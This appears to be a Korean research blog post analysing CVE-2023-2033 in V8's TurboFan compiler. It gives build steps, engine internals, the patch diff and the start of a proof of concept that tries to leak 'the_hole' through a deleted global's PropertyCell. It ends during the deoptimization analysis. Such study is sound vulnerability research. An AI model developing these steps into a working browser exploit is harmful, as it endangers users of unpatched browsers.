본문 바로가기

Research/Browser

CVE-2023-2033 (JIT optimisation issue)

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

Get V8 source code

mkdir v8
cd v8
fetch v8
cd v8
git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
gclient sync -D

Install build dependencies

./build/install-build-deps.sh

Build V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8

Prerequisite Knowledge

Property descriptor

JavaScript object가 가지고 있는 각각의 property들은 writable, enumerable, configurable의 세 가지 descriptor를 가집니다. Object.getOwnPropertyDescriptors()를 사용하여 모든 property들의 descriptor를 가져올 수 있고, Object.getOwnPropertyDescriptor()를 사용하여 하나의 property의 descriptor를 가져올 수도 있습니다.

/* test.js */

let o = { a: 1, b: 2, c: 3 };
let desc_all = Object.getOwnPropertyDescriptors(o);  // get descriptors of all properties
let desc_one = Object.getOwnPropertyDescriptor(o, 'a');  // get descriptor of o.a

console.log(JSON.stringify(desc_all));
console.log();
console.log(JSON.stringify(desc_one));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":1,"writable":true,"enumerable":true,"configurable":true},"b":{"value":2,"writable":true,"enumerable":true,"configurable":true},"c":{"value":3,"writable":true,"enumerable":true,"configurable":true}}

{"value":1,"writable":true,"enumerable":true,"configurable":true}

Property가 추가되면 세 가지 descriptor가 모두 기본적으로 true로 설정되는 것을 확인할 수 있습니다.

Object.defineProperty()를 사용하여 property의 descriptor를 임의로 설정할 수 있습니다.

/* test.js */

let o = { a: 0 };
Object.defineProperty(o, 'a', { value: 1, writable: false });
Object.defineProperty(o, 'b', { value: 2, enumerable: true });

let desc = Object.getOwnPropertyDescriptors(o);
console.log(JSON.stringify(desc));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":1,"writable":false,"enumerable":true,"configurable":true},"b":{"value":2,"writable":false,"enumerable":true,"configurable":false}}

Object.defineProperty()로 property를 추가하는 경우는 세 가지 descriptor가 모두 기본적으로 false로 설정되는 것을 확인할 수 있습니다.

writable은 property의 value를 수정할 수 있는지를 나타냅니다.

/* test.js */

let o = { a: 0 };
Object.defineProperty(o, 'a', { writable: false });
o.a = 1;
console.log(o.a);
$ ~/v8/v8/out/debug/d8 test.js
0

writablefalse로 설정한 후 o.a의 값을 1로 바꾸려고 시도했지만 그대로 0인 것을 확인할 수 있습니다.

enumerable은 property의 key를 for ... in 반복문으로 탐색할 수 있는지를 나타냅니다.

/* test.js */

let o = { a: 1, b: 2, c: 3 };
Object.defineProperty(o, 'a', { enumerable: false });
for (let key in o) {
    console.log(key);
}
$ ~/v8/v8/out/debug/d8 test.js
b
c

for ... in 반복문에서 enumerablefalse로 설정된 o.a를 건너뛰는 것을 확인할 수 있습니다.

configurable은 property를 삭제하거나 enumerable을 설정할 수 있는지를 나타냅니다.

/* test.js */

let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
Object.defineProperty(o, 'a', { enumerable: false });
$ ~/v8/v8/out/debug/d8 test.js
test.js:5: TypeError: Cannot redefine property: a
Object.defineProperty(o, 'a', { enumerable: false });
       ^
TypeError: Cannot redefine property: a
    at Function.defineProperty (<anonymous>)
    at test.js:5:8

o.aenumerable을 설정하려고 시도하면 에러가 발생하는 것을 확인할 수 있습니다.

/* test.js */

let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
o.a = 2;
Object.defineProperty(o, 'a', { writable: false });

let desc = Object.getOwnPropertyDescriptors(o);
console.log(JSON.stringify(desc));
$ ~/v8/v8/out/debug/d8 test.js
{"a":{"value":2,"writable":false,"enumerable":true,"configurable":false}}

Property의 값을 수정하거나 writable을 설정하는 것은 가능합니다.

/* test.js */

let o = { a: 1 };
Object.defineProperty(o, 'a', { configurable: false });
delete o.a;
console.log(o.a);
$ ~/v8/v8/out/debug/d8 test.js
1

configurablefalse로 설정되어 삭제가 불가능한 것을 확인할 수 있습니다.

JSGlobalProxy

JavaScript의 Proxy는 target object에 대한 요청을 가로채서 미리 정의된 다른 동작(handler)을 하는 object입니다. 예를 들어 다음과 같이 사용할 수 있습니다.

/* test.js */

let target = {};
let handler = {
    get() {
        console.log('proxy get');
    },
    set() {
        console.log('proxy set');
    }
};
let proxy = new Proxy(target, handler);

proxy.a = 1;  // print 'proxy set'
console.log(proxy.a);  // print 'proxy get', print 'undefined'
console.log(target.a);  // print 'undefined'
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
proxy set
proxy get
undefined
undefined

proxy.a를 1로 설정하는 set 요청이 들어오면 handlerset()을 호출하고, proxy.a를 1로 설정하는 원래의 요청은 버려집니다. proxy.a의 값을 가져오는 get 요청이 들어오면 handlerget()을 호출하게 됩니다.

Reflect를 사용하면 원래 의도된 요청을 그대로 처리하도록 할 수 있습니다.

/* test.js */

let target = {};
let handler = {
    get(target, prop, receiver) {
        console.log('proxy get');
        return Reflect.get(...arguments);
    },
    set(target, prop, receiver) {
        console.log('proxy set');
        return Reflect.set(...arguments);
    }
};
let proxy = new Proxy(target, handler);

proxy.a = 1;  // print 'proxy set'
console.log(proxy.a);  // print 'proxy get', print '1'
console.log(target.a);  // print '1'
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
proxy set
proxy get
1
1

proxy.a를 1로 설정하는 set 요청이 들어오면 set()을 호출하는데, 내부에서 Reflect.set()으로 원래의 요청을 그대로 target으로 보내서 target.a가 1로 설정됩니다. proxy.a의 값을 가져올 때도 마찬가지로 get() 내부에서 Reflect.get()으로 원래의 요청을 그대로 target으로 보내서 target.a의 값을 가져오게 됩니다.

JSGlobalProxytargetJSGlobalObjectProxy입니다.

/* test.js */

% DebugPrint(globalThis);  // JSGlobalProxy
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
DebugPrint: 0x579000c3bf5: [JSGlobalProxy] in OldSpace
 - map: 0x0579000d8381 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0579000d4061 <JSGlobalObject>
 - elements: 0x057900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - hash: 900844
 - native context: 0x0579000c3c2d <NativeContext[282]>
 - properties:
 - All own properties (excluding elements): {}
0x579000d8381: [Map] in OldSpace
 - type: JS_GLOBAL_PROXY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - may_have_interesting_symbols
 - access_check_needed
 - back pointer: 0x057900000251 <undefined>
 - prototype_validity cell: 0x057900000ac5 <Cell value= 1>
 - instance descriptors (own) #0: 0x057900000295 <DescriptorArray[0]>
 - prototype: 0x0579000d4061 <JSGlobalObject>
 - constructor: 0x0579000d40c5 <JSFunction (sfi = 0x579000d409d)>
 - dependent code: 0x057900000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>

사용자는 JavaScript에서 JSGlobalObject에 직접 접근할 수 없기 때문에 JSGlobalProxy를 사용해야 합니다.

/* test.js */

let a = 1;
var b = 2;
globalThis.c = 3;

console.log(a);  // 1
console.log(globalThis.a);  // undefined
console.log()
console.log(b);  // 2
console.log(globalThis.b);  // 2
console.log()
console.log(c);  // 3
console.log(globalThis.c);  // 3
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
1
undefined

2
2

3
3

var로 선언한 변수와 JSGlobalProxy에 추가한 property는 똑같이 JSGlobalObject의 property로 추가됩니다. 반면 let으로 선언한 변수는 JSGlobalObject에 추가되지 않고 user scope에서만 사용할 수 있습니다.

Properties in JSGlobalObject

JavaScript에서 JSGlobalObject% DebugPrint()로 볼 수 없기 때문에 Object::SetProperty()JSReceiver::DeleteProperty()에 디버깅 메시지를 추가해 줍니다.

Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
                                StoreOrigin store_origin,
                                Maybe<ShouldThrow> should_throw) {
  if (it->GetReceiver()->IsJSGlobalObject()) {
    printf("Object::SetProperty()\n");
    it->GetReceiver()->Print();
    it->GetName()->Print();
    value->Print();
  }
...
}
/* v8/src/objects/js-objects.cc */

Maybe<bool> JSReceiver::DeleteProperty(LookupIterator* it,
                                       LanguageMode language_mode) {
  printf("JSReceiver::DeleteProperty()\n");
  it->GetReceiver()->Print();
  it->GetName()->Print();
...
  for (; it->IsFound(); it->Next()) {
    switch (it->state()) {
...
      case LookupIterator::DATA:
      case LookupIterator::ACCESSOR: {
...
        it->GetReceiver()->Print();
        printf("\n");

        return Just(true);
      }
    }
  }

  return Just(true);
}

JSGlobalObject는 property를 관리하는 방식이 일반적인 object와 다릅니다.

Properties array가 GlobalDictionary라는 특수한 형식임을 확인할 수 있습니다.

/* v8/src/objects/dictionary.h */

class V8_EXPORT_PRIVATE GlobalDictionary
    : public BaseNameDictionary<GlobalDictionary, GlobalDictionaryShape> {
 public:
  static inline Handle<Map> GetMap(ReadOnlyRoots roots);

  DECL_CAST(GlobalDictionary)
  DECL_PRINTER(GlobalDictionary)

  inline Object ValueAt(InternalIndex entry);
  inline Object ValueAt(PtrComprCageBase cage_base, InternalIndex entry);
  inline PropertyCell CellAt(InternalIndex entry);
  inline PropertyCell CellAt(PtrComprCageBase cage_base, InternalIndex entry);
  inline void SetEntry(InternalIndex entry, Object key, Object value,
                       PropertyDetails details);
  inline void ClearEntry(InternalIndex entry);
  inline Name NameAt(InternalIndex entry);
  inline Name NameAt(PtrComprCageBase cage_base, InternalIndex entry);
  inline void ValueAtPut(InternalIndex entry, Object value);

  base::Optional<PropertyCell> TryFindPropertyCellForConcurrentLookupIterator(
      Isolate* isolate, Handle<Name> name, RelaxedLoadTag tag);

  OBJECT_CONSTRUCTORS(
      GlobalDictionary,
      BaseNameDictionary<GlobalDictionary, GlobalDictionaryShape>);
};

GlobalDictionary의 property들은 PropertyCell의 형태로 저장됩니다.

/* v8/src/objects/property-cell.h */

class PropertyCell
    : public TorqueGeneratedPropertyCell<PropertyCell, HeapObject> {
 public:
  // [name]: the name of the global property.
  DECL_GETTER(name, Name)

  // [property_details]: details of the global property.
  DECL_GETTER(property_details_raw, Smi)
  DECL_ACQUIRE_GETTER(property_details_raw, Smi)
  inline PropertyDetails property_details() const;
  inline PropertyDetails property_details(AcquireLoadTag tag) const;
  inline void UpdatePropertyDetailsExceptCellType(PropertyDetails details);

  // [value]: value of the global property.
  DECL_GETTER(value, Object)
  DECL_ACQUIRE_GETTER(value, Object)

  // [dependent_code]: code that depends on the type of the global property.
  DECL_ACCESSORS(dependent_code, DependentCode)

  // Changes the value and/or property details.
  // For global properties:
  inline void Transition(PropertyDetails new_details, Handle<Object> new_value);
  // For protectors:
  void InvalidateProtector();

  static PropertyCellType InitialType(Isolate* isolate, Object value);

  // Computes the new type of the cell's contents for the given value, but
  // without actually modifying the details.
  static PropertyCellType UpdatedType(Isolate* isolate, PropertyCell cell,
                                      Object value, PropertyDetails details);

  // Prepares property cell at given entry for receiving given value and sets
  // that value.  As a result the old cell could be invalidated and/or dependent
  // code could be deoptimized. Returns the (possibly new) property cell.
  static Handle<PropertyCell> PrepareForAndSetValue(
      Isolate* isolate, Handle<GlobalDictionary> dictionary,
      InternalIndex entry, Handle<Object> value, PropertyDetails details);

  void ClearAndInvalidate(ReadOnlyRoots roots);
  static Handle<PropertyCell> InvalidateAndReplaceEntry(
      Isolate* isolate, Handle<GlobalDictionary> dictionary,
      InternalIndex entry, PropertyDetails new_details,
      Handle<Object> new_value);

  // Whether or not the {details} and {value} fit together. This is an
  // approximation with false positives.
  static bool CheckDataIsCompatible(PropertyDetails details, Object value);

  DECL_PRINTER(PropertyCell)
  DECL_VERIFIER(PropertyCell)

  using BodyDescriptor = FixedBodyDescriptor<kNameOffset, kSize, kSize>;

  TQ_OBJECT_CONSTRUCTORS(PropertyCell)

 private:
  friend class Factory;

  DECL_SETTER(name, Name)
  DECL_SETTER(value, Object)
  DECL_RELEASE_SETTER(value, Object)
  DECL_SETTER(property_details_raw, Smi)
  DECL_RELEASE_SETTER(property_details_raw, Smi)

#ifdef DEBUG
  // Whether the property cell can transition to the given state. This is an
  // approximation with false positives.
  bool CanTransitionTo(PropertyDetails new_details, Object new_value) const;
#endif  // DEBUG
};

메모리 상에서 보면 다음과 같습니다.

이 상태에서 a를 삭제하면 GlobalDictionary에서 PropertyCell의 주소는 삭제되지만 PropertyCell 자체는 메모리에 그대로 남아 있고 value만 삭제됩니다. 이때 삭제된 value 자리에는 the_hole이 들어가게 됩니다.

Stack trace API

JavaScript에서 error가 throw되면 V8은 그 시점의 stack trace를 수집합니다. Stack trace를 수집하는 과정은 ErrorcaptureStackTrace()가 처리합니다.

/* test.js */

let o = {};
Error.captureStackTrace(o);
% DebugPrint(o);

o에 대해 Error.captureStackTrace()를 호출하여 stack trace를 수집하면, oerror_stack_symbolstack property가 추가됩니다. error_stack_symbol은 수집된 stack trace가 저장되는 array로, 각각의 element들이 stack trace에서 한 줄씩에 해당합니다. o.stackerror_stack_symbol에 접근하기 위한 accessor로, 사용자가 o.stack에 최초로 접근하는 순간 error_stack_symbol에 저장된 stack trace를 형식에 맞게 문자열 형태로 구성하여 error_stack_symbol에 다시 저장합니다.

V8이 stack trace를 기본적으로 문자열 형태로 저장하는 이유는 다른 브라우저들과의 호환성 때문입니다. 사용자는 Error.prepareStackTrace() 함수를 정의하여 stack에 접근했을 때 어떤 동작을 할지 임의로 정할 수 있습니다. Error.prepareStackTrace()stack에 대한 Proxy처럼 동작합니다.

/* test.js */

let o = {};
Error.captureStackTrace(o);
Error.prepareStackTrace = (error, structuredStackTrace) => {
    console.log('hello');
}
console.log(o.stack);
$ ~/v8/v8/out/debug/d8 --allow-natives-syntax test.js
hello
undefined

o.stack에 접근하여 출력하려고 하면 미리 정의해 둔 Error.prepareStackTrace()가 실행되어 hello가 출력되고, stack trace를 저장하는 동작이 없기 때문에 o.stackundefined를 반환합니다.

Dependent code

Dependent code는 JIT 컴파일된 함수의 deoptimization이 진행될 수 있는 가능성을 저장하고 있는 배열입니다.

/* v8/src/objects/dependent-code.h */

// Dependent code is conceptually the list of {Code, DependencyGroup} tuples
// associated with an object, where the dependency group is a reason that could
// lead to a deopt of the corresponding code.
//
// Implementation details: DependentCode is a weak array list containing
// entries, where each entry consists of a (weak) Code object and the
// DependencyGroups bitset as a Smi.
//
// Note the underlying weak array list currently never shrinks physically (the
// contents may shrink).
// TODO(jgruber): Consider adding physical shrinking.
class DependentCode : public WeakArrayList {
...

CodeDependencyGroup가 번갈아서 저장되는 구조이며, Code는 최적화된 함수의 코드이고 DependencyGroup은 deoptimization의 원인에 해당합니다.

/* v8/src/objects/dependent-code.h */

  enum DependencyGroup {
    // Group of code objects that embed a transition to this map, and depend on
    // being deoptimized when the transition is replaced by a new version.
    kTransitionGroup = 1 << 0,
    // Group of code objects that omit run-time prototype checks for prototypes
    // described by this map. The group is deoptimized whenever the following
    // conditions hold, possibly invalidating the assumptions embedded in the
    // code:
    // a) A fast-mode object described by this map changes shape (and
    // transitions to a new map), or
    // b) A dictionary-mode prototype described by this map changes shape, the
    // const-ness of one of its properties changes, or its [[Prototype]]
    // changes (only the latter causes a transition).
    kPrototypeCheckGroup = 1 << 1,
    // Group of code objects that depends on global property values in property
    // cells not being changed.
    kPropertyCellChangedGroup = 1 << 2,
    // Group of code objects that omit run-time checks for field(s) introduced
    // by this map, i.e. for the field type.
    kFieldTypeGroup = 1 << 3,
    kFieldConstGroup = 1 << 4,
    kFieldRepresentationGroup = 1 << 5,
    // Group of code objects that omit run-time type checks for initial maps of
    // constructors.
    kInitialMapChangedGroup = 1 << 6,
    // Group of code objects that depends on tenuring information in
    // AllocationSites not being changed.
    kAllocationSiteTenuringChangedGroup = 1 << 7,
    // Group of code objects that depends on element transition information in
    // AllocationSites not being changed.
    kAllocationSiteTransitionChangedGroup = 1 << 8,
    // IMPORTANT: The last bit must fit into a Smi, i.e. into 31 bits.
  };

Analysis

패치의 변경 사항을 보면, JSGlobalProxyError.captureStackTrace()의 인자로 전달되었을 경우 아무 동작을 하지 않고 undefined를 반환하도록 변경되었습니다.

diff --git a/src/builtins/builtins-error.cc b/src/builtins/builtins-error.cc
index 01e0162..14c0602 100644
--- a/src/builtins/builtins-error.cc
+++ b/src/builtins/builtins-error.cc
@@ -35,6 +35,9 @@
     THROW_NEW_ERROR_RETURN_FAILURE(
         isolate, NewTypeError(MessageTemplate::kInvalidArgument, object_obj));
   }
+  if (object_obj->IsJSGlobalProxy()) {
+    return ReadOnlyRoots(isolate).undefined_value();
+  }

   Handle<JSObject> object = Handle<JSObject>::cast(object_obj);
   Handle<Object> caller = args.atOrUndefined(isolate, 2);

JSGlobalProxy에 대해 Error.captureStackTrace()로 stack trace를 수집하면 JSGlobalObjectstackerror_stack_symbol이 추가됩니다.

PoC

Optimization - Make stack to be loaded from PropertyCell

Turbofan이 함수를 컴파일할 때, 전역 변수(JSGlobalObject의 property)에 대한 접근은 JSNativeContextSpecialization::ReduceGlobalAccess()에서 처리합니다.

/* v8/src/compiler/js-native-context-specialization.cc */

Reduction JSNativeContextSpecialization::ReduceGlobalAccess(
    Node* node, Node* lookup_start_object, Node* receiver, Node* value,
    NameRef name, AccessMode access_mode, Node* key,
    PropertyCellRef property_cell, Node* effect) {
...
  if (access_mode == AccessMode::kLoad || access_mode == AccessMode::kHas) {
    // Load from non-configurable, read-only data property on the global
    // object can be constant-folded, even without deoptimization support.
    if (!property_details.IsConfigurable() && property_details.IsReadOnly()) {
      value = access_mode == AccessMode::kHas
                  ? jsgraph()->TrueConstant()
                  : jsgraph()->Constant(property_cell_value, broker());
    } else {
...
      // Load from constant/undefined global property can be constant-folded.
      if (property_details.cell_type() == PropertyCellType::kConstant ||
          property_details.cell_type() == PropertyCellType::kUndefined) {
        value = access_mode == AccessMode::kHas
                    ? jsgraph()->TrueConstant()
                    : jsgraph()->Constant(property_cell_value, broker());
        DCHECK(!property_cell_value.IsHeapObject() ||
               property_cell_value.AsHeapObject().map(broker()).oddball_type(
                   broker()) != OddballType::kHole);
      } else {
        DCHECK_NE(AccessMode::kHas, access_mode);

        // Load from constant type cell can benefit from type feedback.
        OptionalMapRef map;
        Type property_cell_value_type = Type::NonInternal();
        MachineRepresentation representation = MachineRepresentation::kTagged;
        if (property_details.cell_type() == PropertyCellType::kConstantType) {
          // Compute proper type based on the current value in the cell.
          if (property_cell_value.IsSmi()) {
            property_cell_value_type = Type::SignedSmall();
            representation = MachineRepresentation::kTaggedSigned;
          } else if (property_cell_value.IsHeapNumber()) {
            property_cell_value_type = Type::Number();
            representation = MachineRepresentation::kTaggedPointer;
          } else {
            MapRef property_cell_value_map =
                property_cell_value.AsHeapObject().map(broker());
            property_cell_value_type =
                Type::For(property_cell_value_map, broker());
            representation = MachineRepresentation::kTaggedPointer;

            // We can only use the property cell value map for map check
            // elimination if it's stable, i.e. the HeapObject wasn't
            // mutated without the cell state being updated.
            if (property_cell_value_map.is_stable()) {
              dependencies()->DependOnStableMap(property_cell_value_map);
              map = property_cell_value_map;
            }
          }
        }
        value = effect = graph()->NewNode(
            simplified()->LoadField(ForPropertyCellValue(
                representation, property_cell_value_type, map, name)),
            jsgraph()->Constant(property_cell, broker()), effect, control);
      }
    }
  } else if (access_mode == AccessMode::kStore) {
...
  } else {
    return NoChange();
  }

  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

Property의 configurablewritable이 모두 false인 경우, 또는 property의 cell_typekConstant이거나 kUndefined인 경우에는 property의 값을 가져오는 과정이 생략되고 상수로 최적화됩니다.

그 외의 경우, 다음의 코드가 실행됩니다.

/* v8/src/compiler/js-native-context-specialization.cc */

        value = effect = graph()->NewNode(
            simplified()->LoadField(ForPropertyCellValue(
                representation, property_cell_value_type, map, name)),
            jsgraph()->Constant(property_cell, broker()), effect, control);

PropertyCell의 주소를 상수(HeapConstant)로 처리하고, 그 주소로 직접 접근하여 value를 가져오도록 최적화됩니다.

/* test.js */

globalThis.gvar = 1;
gvar = {}; // cell_type == kMutable

function load_global() {
    let a = gvar;
    return a;
}

% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();

위의 코드는 JSGlobalObjectgvar property를 추가하고 value를 1에서 {}로 바꿉니다. 이렇게 하면 type이 바뀌기 때문에 cell_typekMutable이 되고, 이 상태에서 load_global()을 최적화시키면 gvarPropertyCell의 주소를 상수(HeapConstant)로 처리하게 됩니다.

$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt --trace-turbo
Concurrent recompilation has been disabled for tracing.
[manually marking 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> for optimization to TURBOFAN, ConcurrencyMode::kSynchronous]
[compiling method 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> (target TURBOFAN), mode: ConcurrencyMode::kSynchronous]
---------------------------------------------------
Begin compiling method load_global using TurboFan
---------------------------------------------------
Finished compiling method load_global using TurboFan
[completed compiling 0x3dc1000dae89 <JSFunction load_global (sfi = 0x3dc1000dad19)> (target TURBOFAN) - took 0.308, 40.473, 7.185 ms]

Turbolizer(Inlining phase)로 확인해 보면, stack을 load할 때 HeapConstant(PropertyCell의 주소)에 직접 접근해서 값을 가져오는 것을 확인할 수 있습니다.

이 상태에서 gvar를 삭제하면 JSGlobalObject에서는 삭제되지만 PropertyCell 자체는 메모리에 그대로 남아 있고 value에만 the_hole이 들어가기 때문에, load_global()the_hole을 반환할 것이라고 추측할 수 있습니다.

/* test.js */

globalThis.gvar = 1; // cell_type == kConstant
gvar = {}; // cell_type == kMutable

function load_global() {
    let a = gvar;
    return a;
}

% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();

delete gvar;
let maybe_hole = load_global();
% DebugPrint(maybe_hole);
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt --trace-turbo
Concurrent recompilation has been disabled for tracing.
[manually marking 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> for optimization to TURBOFAN, ConcurrencyMode::kSynchronous]
[compiling method 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> (target TURBOFAN), mode: ConcurrencyMode::kSynchronous]
---------------------------------------------------
Begin compiling method load_global using TurboFan
---------------------------------------------------
Finished compiling method load_global using TurboFan
[completed compiling 0x383c000daf09 <JSFunction load_global (sfi = 0x383c000dad51)> (target TURBOFAN) - took 0.333, 39.914, 6.830 ms]
[marking dependent code 0x383c000db0d9 <Code TURBOFAN> (0x383c000dad51 <SharedFunctionInfo load_global>) (opt id 0) for deoptimization, reason: code dependencies]
test.js:7: ReferenceError: gvar is not defined
    let a = gvar;
            ^
ReferenceError: gvar is not defined
    at load_global (test.js:7:13)
    at test.js:17:18

그러나 예상과 다르게, deoptimization이 진행되고 gvar is not defined 에러가 발생합니다.

Avoid deoptimization

/* test.js */

globalThis.gvar = 1; // cell_type == kConstant
gvar = {}; // cell_type == kMutable

function load_global() {
    let a = gvar;
    return a;
}

% PrepareFunctionForOptimization(load_global);
load_global();
% OptimizeFunctionOnNextCall(load_global);
load_global();

% DebugPrint(load_global);
% SystemBreak();

delete gvar;
let maybe_hole = load_global();
% DebugPrint(maybe_hole);

GDB에서 실행시키고 deoptimization이 진행되는 과정을 분석해 봅시다.

컴파일된 함수의 주소에 breakpoint를 걸고 실행시키다 보면,

중간에 Builtins_CompileLazyDeoptimizedCode()로 점프하여 deoptimization이 진행되는 것을 확인할 수 있습니다.

이 시점에서 rbxload_global()code의 주소이고, rbx+0x17에 저장된 값은 codeFLAGS_BIT_FIELDS입니다.

/* v8/src/objects/code.h */

  // Flags layout.
#define FLAGS_BIT_FIELDS(V, _)                \
  V(KindField, CodeKind, 4, _)                \
  V(IsTurbofannedField, bool, 1, _)           \
  /* Steal bits from here if needed: */       \
  V(StackSlotsField, int, 24, _)              \
  V(MarkedForDeoptimizationField, bool, 1, _) \
  V(EmbeddedObjectsClearedField, bool, 1, _)  \
  V(CanHaveWeakObjectsField, bool, 1, _)
  DEFINE_BIT_FIELDS(FLAGS_BIT_FIELDS)

상위 3번째 비트는 MarkedForDeoptimizationField입니다. 즉, deoptimization 대상임을 어딘가에서 mark해 두고, 런타임에 lazy compile을 진행하는 것입니다.

이 플래그가 어디서 설정되는지 확인하기 위해 watchpoint를 걸고 실행시켜 보면,

JSReceiver::DeleteProperty()에서 설정되는 것을 확인할 수 있습니다. 즉, delete gvar이 실행될 때입니다.

/* v8/src/objects/js-objects.cc */

void JSReceiver::DeleteNormalizedProperty(Handle<JSReceiver> object,
                                          InternalIndex entry) 
  DCHECK(!object->HasFastProperties());
  Isolate* isolate = object->GetIsolate();
  DCHECK(entry.is_found());

  if (object->IsJSGlobalObject()) {
    // If we have a global object, invalidate the cell and remove it from the
    // global object's dictionary.
    Handle<GlobalDictionary> dictionary(
        JSGlobalObject::cast(*object).global_dictionary(kAcquireLoad), isolate);

    Handle<PropertyCell> cell(dictionary->CellAt(entry), isolate);

    Handle<GlobalDictionary> new_dictionary =
        GlobalDictionary::DeleteEntry(isolate, dictionary, entry);
    JSGlobalObject::cast(*object).set_global_dictionary(*new_dictionary,
                                                        kReleaseStore);

    cell->ClearAndInvalidate(ReadOnlyRoots(isolate));
  } else {
...
  }
}

JSReceiver::DeleteNormalizedProperty()에서 objectJSGlobalObject이면 ClearAndInvalidate()를 호출합니다. 그 이후의 실행 흐름을 따라가 보면 다음과 같습니다.

/* v8/src/objects/objects.cc */

void PropertyCell::ClearAndInvalidate(ReadOnlyRoots roots) {
  DCHECK(!value().IsTheHole(roots));
  PropertyDetails details = property_details();
  details = details.set_cell_type(PropertyCellType::kConstant);
  Transition(details, roots.the_hole_value_handle());
  // TODO(11527): pass Isolate as an argument.
  Isolate* isolate = GetIsolateFromWritableObject(*this);
  DependentCode::DeoptimizeDependencyGroups(
      isolate, *this, DependentCode::kPropertyCellChangedGroup);
}
/* v8/src/objects/dependent-code-inl.h */

template <typename ObjectT>
void DependentCode::DeoptimizeDependencyGroups(Isolate* isolate, ObjectT object,
                                               DependencyGroups groups) {
  // Shared objects are designed to never invalidate code.
  DCHECK(!object.InSharedHeap());
  object.dependent_code().DeoptimizeDependencyGroups(isolate, groups);
}
/* v8/src/objects/dependent-code.cc */

void DependentCode::DeoptimizeDependencyGroups(
    Isolate* isolate, DependentCode::DependencyGroups groups) {
  DisallowGarbageCollection no_gc_scope;
  bool marked_something = MarkCodeForDeoptimization(isolate, groups);
  if (marked_something) {
    DCHECK(AllowCodeDependencyChange::IsAllowed());
    Deoptimizer::DeoptimizeMarkedCode(isolate);
  }
}
/* v8/src/objects/dependent-code.cc */

bool DependentCode::MarkCodeForDeoptimization(
    Isolate* isolate, DependentCode::DependencyGroups deopt_groups) {
  DisallowGarbageCollection no_gc;

  bool marked_something = false;
  IterateAndCompact([&](Code code, DependencyGroups groups) {
    if ((groups & deopt_groups) == 0) return false;

    if (!code.marked_for_deoptimization()) {
      code.SetMarkedForDeoptimization(isolate, "code dependencies");
      marked_something = true;
    }

    return true;
  });

  return marked_something;
}
/* v8/src/objects/dependent-code.cc */

void DependentCode::IterateAndCompact(const IterateAndCompactFn& fn) {
  DisallowGarbageCollection no_gc;

  int len = length();
  if (len == 0) return;

  // We compact during traversal, thus use a somewhat custom loop construct:
  //
  // - Loop back-to-front s.t. trailing cleared entries can simply drop off
  //   the back of the list.
  // - Any cleared slots are filled from the back of the list.
  int i = len - kSlotsPerEntry;
  while (i >= 0) {
    MaybeObject obj = Get(i + kCodeSlotOffset);
    if (obj->IsCleared()) {
      len = FillEntryFromBack(i, len);
      i -= kSlotsPerEntry;
      continue;
    }

    if (fn(Code::cast(obj->GetHeapObjectAssumeWeak()),
           static_cast<DependencyGroups>(
               Get(i + kGroupsSlotOffset).ToSmi().value()))) {
      len = FillEntryFromBack(i, len);
    }

    i -= kSlotsPerEntry;
  }

  set_length(len);
}

DependentCode::IterateAndCompact()는 dependent code가 존재하면 인자로 전달받은 함수 fn을 호출합니다. DependentCode::MarkCodeForDeoptimization()에서 인자로 전달한 fn을 보면,

[&](Code code, DependencyGroups groups) {
  if ((groups & deopt_groups) == 0) return false;

  if (!code.marked_for_deoptimization()) {
    code.SetMarkedForDeoptimization(isolate, "code dependencies");
    marked_something = true;
  }

  return true;
}

먼저 groupsdeopt_groups를 비교하는데, 이것은 deoptimization의 reason들 중 현재 상황에 해당하는 것이 있는지를 찾는 과정입니다. 만약 없으면 바로 false를 반환하고, 있으면 MarkedForDeoptimizationField 플래그를 설정합니다.

다음과 같이 디버깅 메시지를 추가하고 실행시켜 보면,

/* v8/src/objects/dependent-code.cc */

bool DependentCode::MarkCodeForDeoptimization(
    Isolate* isolate, DependentCode::DependencyGroups deopt_groups) {
  DisallowGarbageCollection no_gc;

  bool marked_something = false;
  int len = length();
  for (int i = 0; i < len; i++) {
    Get(i).Print();
  }
  printf("\n");
  IterateAndCompact([&](Code code, DependencyGroups groups) {
...
}
$ ~/v8/v8/out/debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt
...
[weak] 0x2351000db0d9: [Code] in OldSpace
...
Smi: 0x4 (4)

[marking dependent code 0x2351000db0d9 <Code TURBOFAN> (0x2351000dad51 <SharedFunctionInfo load_global>) (opt id 0) for deoptimization, reason: code dependencies]
...
/* v8/src/objects/dependent-code.h */

class DependentCode : public WeakArrayList {
 public:
  DECL_CAST(DependentCode)

  enum DependencyGroup {
...
    // Group of code objects that depends on global property values in property
    // cells not being changed.
    kPropertyCellChangedGroup = 1 << 2,
...
  };

